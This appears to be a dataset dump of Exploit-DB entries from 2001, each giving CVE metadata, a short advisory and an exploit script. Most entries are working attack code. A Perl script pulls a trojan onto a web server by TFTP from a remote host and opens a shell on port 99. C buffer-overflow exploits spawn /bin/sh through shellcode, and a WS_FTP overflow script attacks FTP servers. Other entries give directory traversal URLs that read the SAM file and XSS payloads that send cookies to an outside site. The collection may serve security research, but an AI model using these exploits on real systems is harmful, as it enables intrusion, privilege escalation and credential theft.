QLWD/code_shield huggingface dataset:
标题: SimpleServer:WWW 1.0.7/1.0.8/1.13 - Hex Encoded URL Directory Traversal EDB-ID: 21039 CVE: 2001-1586 类型: REMOTE 平台: WINDOWS 发布日期: 2001-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/3112/info

SimpleServer:WWW is a freely available HTTP daemon available from AnalogX. It is designed for simplicity of operation.

A problem with the web server could allow a remote user to execute arbitrary commands, and potentially gain local access to the system. The problem is in the validation of URLs that have been encoded in hex. By encoding an URL in hex, it is possible to bypass any filtering for directory traversal, and execute arbitrary programs on the local system. 

# SimpleServer:WWW Command Execution Vulnerability
# CODED BY THRAN
# CDLNI 2001
# www.cdlni.com
# You may distribute this code freely
# Iam in no way responsible for this code, its for testing use only
# This script uploads ncx99.exe to the target server and executes it
# simply telnet to target computer on port 99 after executing the trojan
# You need a tftp server listening on a remote computer
# ncx99.exe needs to be in the base dir of the tftp server
# <<<<<DO NOT FORGET TO ENTER A TFTP SERVER INSIDE THIS SCRIPT! :) >>>>>> (yes including the () part :) )
# Greetz go out to Zerostealth, Creeping Death, Hellb0und, Shell (Warezd00d :) ) Kim Lloyd, and all my other buds
# btw, dont bug me with my sloppy coding, and dont even ask me why I had to create 2 socket handlers :/
# bye, have fun
#!/usr/bin/perl

use IO::Socket;
print "Enter server IP:";
$server=<STDIN>;
endl;
print "Enter remote port:";
$port=<STDIN>;
endl;
print "Uploading file... this may take a minute";
endl;
endl;
$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, PeerPort=>$port, Reuse=>1) or die "Can't connect to \"$server\"\n";
$remote->autoflush(1);
# Here we write the actual HTTP request to the server, had to encode the entire url
$url="GET /cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Ftftp%20-i%20(ENTER THE IP OF A TFTP SERVER HERE)%20GET%20ncx99.exe%20c%3a%5c%5cwinnt%5c%5csystem32%5c%5cblab%2eexe HTTP/1.0 \n\n";
print $url;
print $remote $url;
# receive everything the server sends and print it to the screen
while (<$remote>) { print }
close $remote;
endl;
endl;
endl;
print "Executing the trojan... If the screen seems to hang, the trojan should work";
$remote2 = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, PeerPort=>$port, Reuse=>1) or die "Can't connect to \"$server\"\n";
$remote2->autoflush(1);
#Simply executing the trojan, of course the entire url is still encrypted :)
print $remote2 "GET /cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Fblab HTTP/1.0 \n\n";
# receive everything the server sends and print it to the screen
while (<$remote2>) { print }
close $remote2; URL: https://www.exploit-db.com/exploits/21039
标题: Oracle 8/9i - DBSNMP Oracle Home Environment Variable Buffer Overflow EDB-ID: 21044 CVE: 2001-0941 类型: LOCAL 平台: WINDOWS 发布日期: 2001-08-02 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3138/info

Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation.

When the ORACLE_HOME environment variable is filled with 750 bytes or more, a buffer overflow occurs. This overflow may be used to overwrite variables on the stack, including the return address. Since the dbsnmp program is setuid root, it is possible to gain elevated privileges, including administrative access.

To exploit this vulnerability, the user must be in the oracle group. 

/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2.

dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) before normal shellcode.

In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps). 



"Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas."

   L.E.Aute
 


This vulnerability was researched by:
 Juan Manuel Pascual <pask@plazasite.com>

Special thanks to:

 Ivan Sanchez <isanchez@plazasite.com>
 Mundo Alonso-Cuevillas <mundo@plazasite.com>
*/





#include <stdio.h>
#include <stdlib.h>

#define BUFFER                                  800
#define OFFSET                                 7896
#define NOP                                    0x90
#define BINARY  "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp"


char shellcode[] =
"\x90"  /* Additional NOP */
"\x31\xc0" /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"

"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";


unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  memset(buff,bsize/2,NOP);

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",buff,1);
system(BINARY);
} URL: https://www.exploit-db.com/exploits/21044
标题: Microsoft Windows 98 - ARP Denial of Service EDB-ID: 21040 CVE: 2001-1055 类型: DOS 平台: WINDOWS 发布日期: 2001-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/3113/info

A potential denial of service vulnerability exists in some versions of the Microsoft Windows network stack.

The problem occurs when a large number of extraneous ARP packets sent to a host running Windows. This can cause the system to use all available CPU and memory resources and thus become unresponsive until the attack ends.

By sending ARP requests to the Ethernet broadcast address, it may be possible to use this attack to disable an entire network. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21040.tar.gz URL: https://www.exploit-db.com/exploits/21040
标题: GNU findutils 4.0/4.1 - Locate Arbitrary Command Execution EDB-ID: 21043 CVE: 2001-1036 类型: LOCAL 平台: LINUX 发布日期: 2001-08-01 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3127/info

GNU locate is an application that searches file databases for file names that match user-supplied patterns.

A boundary condition error can occur when the program reads database files composed in an "old" format, produced by GNU locate prior to version 4.0 and by Unix versions of locate and find. If an attacker is able to write a malicious entry to a database file used by other users, the attacker could cause arbitrary code to be executed by another user when the user runs the locate program.

It also should be noted that in earlier versions of Slackware(circa 3.5) the file is written by the superuser. 

#include <stdio.h>

char shellcode[] =
   "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
   "\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80"
   "\xe8\xe3\xff\xff\xff/tmp/xx";
char putshell[] =
   "\x14\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c"
   "\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96";

int main(void)
{
   int i;
   int z0=0; int addr=0x0804a970;
   int z1=0; int addr2=-626;
   int z2=0; int addr3=addr+6;
   printf("%s", &addr);
   printf("%s", &addr3);
   printf("%s",shellcode);
   fflush(stdout);
   for(i=46;i<256;i++) putchar('A');
   printf("%s", putshell);
   fflush(stdout);
   putchar(0);
   putchar(30);
   printf("%s", &addr2);
   printf("\x82\x83");
   fflush(stdout);
} URL: https://www.exploit-db.com/exploits/21043
标题: NCSA HTTPd 1.x - Remote Buffer Overflow (2) EDB-ID: 21050 CVE: 1999-0267 1999-0235 类型: REMOTE 平台: LINUX 发布日期: 1995-02-17 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3158/info
 
NCSA HTTPd is a free, open-source web server for *nix systems.
 
NCSA HTTPd versions 1.3 and earlier are prone to an exploitable buffer overflow(in the username field) which will allow malicious remote users to execute arbitrary code with the privileges of the webserver process.
 
Successful exploitation of this vulnerability will allow a remote attacker to gain local access to the host. 

/*     
; NCSA Webserver Buffer Overflow in 1.3 
;  By Xtremist (xtremist@2xs.co.il) for [r00tabega.security.labs]
; Tested on Slackware 4.0 with NCSA 1.3  
;     usage:
;  $ (ncsaexpl 0; cat) | nc victim 80
;                   
;                    OFFSET usually from -1000 to 1000 
;   greets all people i know :)
;*/

#include <stdio.h>

unsigned char shell[] = /*  alphae1's shellcode for execve */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";


char user[264];

long get_esp(void) {
 __asm__("movl %esp,%eax");
}

int main(int argc,char **argv){ 

int i; int offset=160;
long ret;
if(argc>1) {
  offset=atoi(argv[1]);
}
ret=(get_esp()-offset);

for(i=1;i<264;i+=4){
*(long *)&user[i]=ret;
}

for(i=0;i<(260-strlen(shell));i++) {
*(user+i)=0x90; /*NOP*/
}

memcpy(shell+i,shell,strlen(shell));

printf("GET %s\n", user);

} URL: https://www.exploit-db.com/exploits/21050
标题: NCSA HTTPd 1.x - Remote Buffer Overflow (1) EDB-ID: 21049 CVE: 1999-0267 1999-0235 类型: REMOTE 平台: LINUX 发布日期: 1997-04-23 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3158/info

NCSA HTTPd is a free, open-source web server for *nix systems.

NCSA HTTPd versions 1.3 and earlier are prone to an exploitable buffer overflow(in the username field) which will allow malicious remote users to execute arbitrary code with the privileges of the webserver process.

Successful exploitation of this vulnerability will allow a remote attacker to gain local access to the host. 

/*
 * NCSA 1.3 Linux/intel remote xploit by savage@apostols.org 1997-April-23
 *
 * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore,EDevil and the rest of ToXyn !!!
 *
 * usage:
 * $ (hackttpd 0; cat) | nc victim 143
 *                  |
 *                  +--> usually from -1000 to 1000 (try steeps of 100)
 */

#include <stdio.h>

unsigned char shell[] = {
'/',0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0xeb,0x27,0x5e,0x31,0xed,0x31,0xc9,0x31,0xc0,0x88,0x6e,6,0x89,0xf3,0x89,0x76,
0x24,0x89,0x6e,0x28,0x8d,0x6e,0x24,0x89,0xe9,0x8d,0x6e,0x28,0x89,0xea,0xb0,0x0b,
0xcd,0x80,0x31,0xdb,0x89,0xd8,0x40,0xcd,0x80,0xe8,0xd4,0xff,0xff,0xff,
'b','i','n','/','s','h'
};

char username[256+8];

void main(int argc, char *argv[]) {
 int i,a;
 long val;
 
 if(argc>1)
  a=atoi(argv[1]);
 else
  a=0;
 
 strcpy(username,shell);
 
 for(i=strlen(shell);i<sizeof(username);i++)
  username[i]=0x90; /* NOP */

 val = 0xbfff537c + 4 + a; 

 i=sizeof(username)-4;
 {
  username[i+0] = val & 0x000000ff;
  username[i+1] = (val & 0x0000ff00) >> 8;
  username[i+2] = (val & 0x00ff0000) >> 16;
  username[i+3] = (val & 0xff000000) >> 24;
 }
 
 username[ sizeof(username) ] = 0;
 
        printf("GET %s\n/bin/bash -i 2>&1;\n", username);
} URL: https://www.exploit-db.com/exploits/21049
标题: SnapStream PVS 1.2 - Plaintext Password EDB-ID: 21035 CVE: 2001-1107 类型: REMOTE 平台: WINDOWS 发布日期: 2001-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/3101/info

Snapstream Personal Video Station is an application for Microsoft Windows which allows users to record video output on their PC and view it at a later time, locally or via an HTTP interface. The Snapstream PVS web interface runs on port 8129.

The PVS service stores passwords and user information in plaintext format. Additional information is also contained in the same file which stores passwords, such as the location of the base directory for the service.

This would normally only be a local issue but in combination with other known vulnerabilities the file which stores passwords and user information is easily obtained.

Due to the issue discussed as Bugtraq ID 3100, the passwords can be disclosed to remote attackers. 

http://home.victim.com:8080/../ssd.ini URL: https://www.exploit-db.com/exploits/21035
标题: Ipswitch WS_FTP Server 2.0 - Anonymous Multiple FTP Command Buffer Overflows EDB-ID: 21036 CVE: 2001-1021 类型: REMOTE 平台: WINDOWS 发布日期: 2001-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/3102/info

WS-FTP Server is vulnerable to malicious remote user input argumenting multiple FTP commands received from anonymously connecting clients.

An attacker may supply a long sequence of characters as an argument to any of the affected commands. If the length of the argumenting string exceeds the size of its input buffer, the excess data will overwrite other variables on the stack and the stack frame itself.

As a result, an attacker can replace the affected function's return address with a pointer to malicious shellcode, allowing arbitrary code to run with SYSTEM privilege.

#!/usr/local/bin/perl
#########################################################################
#
# WS_FTP Server 2.0.2 DELE proof-of-concept exploit
# By andreas@defcom.com and janne@defcom.com (C)2001
#
#########################################################################
$login="ftp"; #username
$pass="ftp"; #password
#########################################################################
$ARGC=@ARGV;
if ($ARGC !=1) {
 print "WS_FTP server 2.0.2 DELE proof-of-concept exploit\n";
 print "It creates a file named defcom.iyd in the c-root\n";
 print "(C)2001 andreas\@defcom.com\n";
    print "Usage: $0 <host>\n";
 print "Example: $0 127.0.0.1\n";
 exit;
}
use Socket;

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = "21";

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";

sleep(1);
$msg = "user $login\n"; 
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$msg = "pass $pass\n";
sleep(1);
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$sploit = "\x8b\xd8\x8b\xf8\x83\xc0\x18\x33\xc9\x66\xb9\x42\x81\x66\x81\xf1\x80\x80\x80\x30\x95\x40\xe2\xfa\xde\x1e\x76";
$sploit = $sploit . "\x1e\x7e\x2e\x95\x6f\x95\x95\xc6\xfd\xd5\x95\x95\x95\x2b\x49\x81\xd0\x95\x6a\x83\x96\x56\x1e\x75\x1e\x7d\xa6\x55";
$sploit = $sploit . "\xc5\xfd\x15\x95\x95\x95\xff\x97\xc5\xc5\xfd\x95\x95\x95\x85\x14\x52\x59\x94\x95\x95\xc2\x2b\xb1\x80\xd0\x95";
$sploit = $sploit . "\x6a\x83\xc5\x2b\x6d\x81\xd0\x95\x6a\x83\xa6\x55\xc5\x2b\x85\x83\xd0\x95\x6a\x83";
$msg = "dele " . $sploit . "\xd4" x (460-length($sploit)) .  "\xf6\xaf\xc9\xf1\xf0\xf3\xf6\xfa\xf8\xbb\xfc\xec\xf1\x95";
$msg = $msg . "\xab\xa3\x54\x77" . "\xd4" x 16 . "\x8b\xc4\x83\xe8\x7f\x83\xe8\x7f\x83\xe8\x7f\x83\xe8\x71\xff\xe0\n";
print $msg;
sleep(1);
send(SOCK, $msg, 0) or die "Cannot send query: $!";
exit; URL: https://www.exploit-db.com/exploits/21036
标题: Sambar Server 4.x/5.0 - Insecure Default Password Protection EDB-ID: 21027 CVE: 2001-1106 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/3095/info

Sambar Server is a multi-threaded HTTP server for Microsoft Windows and Unix systems.

Sambar Server provides insecure default protection for user passwords.

The default password decryption algorithm employs only a single key, built into the server binary. If the key is recovered, user passwords may be extracted.

Compromise of the webserver's passwords could allow a local attacker to compromise the website's design and function, obtain confidential or security-sensitive information which could lead to further compromises of the host.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21027.zip URL: https://www.exploit-db.com/exploits/21027
标题: CGIWrap 2.x/3.x - Cross-Site Scripting EDB-ID: 21023 CVE: 2001-0987 类型: REMOTE 平台: CGI 发布日期: 2001-07-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/3081/info

CGIWrap is a free, open-source program for running CGI securely.

CGIWrap does not filter embedded scripting commands from user-supplied input. A web user may submit a malicious link into any form which displays user-supplied input, such as guestbooks, forums, etc. Users clicking on the link will have the malicious scripting commands executed in their browser.

http://www.example.org/cgi-bin/cgiwrap/%3CS%3E
http://www.example.org/cgi-bin/cgiwrap/<S>
http://www.example.org/cgi-bin/cgiwrap/~nneul/<S>TEST</S>

JavaScript code will be executed:

http://www.example.org/cgi-bin/cgiwrap/~nneul/<SCRIPT>alert(document.domain)</SCRIPT>
http://www.example.org/cgi-bin/cgiwrap/~nneul/<SCRIPT>document.write(document.domain)</SCRIPT>
http://www.example.org/cgi-bin/cgiwrap/<IMG%20SRC=javascript:alert(document.domain)>

Stealing your Cookies issued by www.example.org, if any:

http://www.example.org/cgi-bin/cgiwrap/~nneul/<SCRIPT>window.open("http://malicious-site/save.cgi%3F"+escape(document.cookie))</SCRIPT> URL: https://www.exploit-db.com/exploits/21023
标题: SnapStream Personal Video Station 1.2 a - PVS Directory Traversal EDB-ID: 21030 CVE: 2001-1108 类型: REMOTE 平台: WINDOWS 发布日期: 2001-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/3100/info

Snapstream Personal Video Station is an application for Microsoft Windows which allows users to record video output on their PC and view it at a later time, locally or via an HTTP interface. The Snapstream PVS web interface runs on port 8129.

Snapstream PVS is prone to attacks which allow a remote user to break out of the wwwroot and browse the filesystem at large. The remote attacker may accomplish this by crafting a web request which uses '../' sequences to traverse directories and access arbitrary web-readable files.

The impact of exploiting this vulnerability is that confidential information may be disclosed to the attacker and follow-up attacks against the host may occur.

If exploited conjunction with Bugtraq ID 3101, a remote attacker can gain the administrative password for Snapstream.

http://home.victim.com:8080/../../../../autoexec.bat

http://home.victim.com:8080/../../../winnt/repair/sam URL: https://www.exploit-db.com/exploits/21030
标题: Sambar Server 4.4/5.0 - 'pagecount' File Overwrite EDB-ID: 21026 CVE: 2001-1010 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-07-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/3091/info

Sambar Server is a multi-threaded HTTP server for Microsoft Windows and Unix systems.

Sambar WWW Server is bundled with a sample script('pagecount') which creates temporary files on the host. However, it is possible for a remote attacker to craft a web request which will cause pagecount to overwrite existing files. Files attacked in this manner will be corrupted.

Loss of critical data and a denial of services may occur if system files are overwritten.

http://sambarserver/session/pagecount?page=index will create a file in Sambar temp directory with name 'index'

http://sambarserver/session/pagecount?page=../../../../../../autoexec.bat then the script will rewrite the first symbols of c:\autoexec.bat with it's number.

So we are able to add some text to any file on the disk. URL: https://www.exploit-db.com/exploits/21026
标题: Proxomitron Naoko-4 - Cross-Site Scripting EDB-ID: 21025 CVE: 2001-0991 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/3087/info

Proxomitron is a free web proxy server.

Proxomitron is vulnerable to a cross site scripting attack.

The condition is present because of the way URLS are displayed in error messages. It is possible for script code to be embedded in the error page through a maliciously constructed link. When the error is displayed, the script will be executed within the context of the proxy server's error page on the client browser. This may permit various web-based attacks including stealing cookies, etc.

Accessing the following URL with the browser configured to use Proxomitron as a proxy,

http://www.example.com:9999/<SCRIPT>document.write(document.domain)</SCRIPT>

it will cause Proxomitron to produce output like this:
========================================================
<html><head><title>The Proxomitron Reveals...</title>
...
The Proxomitron couldn't connect to...<br>
font color=#ffff00 size=+1 > www.example.com:9999/<SCRIPT>document.write(document.domain)</SCRIPT>
</font><br>
The site may be busy or the web server may be down.
...
========================================================

and this will be shown as the following:
========================================================
Error connecting to site
The Proxomitron couldn't connect to...
www.example.com:9999/www.example.com
The site may be busy or the web server may be down.
========================================================

The noteworthy point is that the JavaScript code will be executed on an arbitrary specified domain. URL: https://www.exploit-db.com/exploits/21025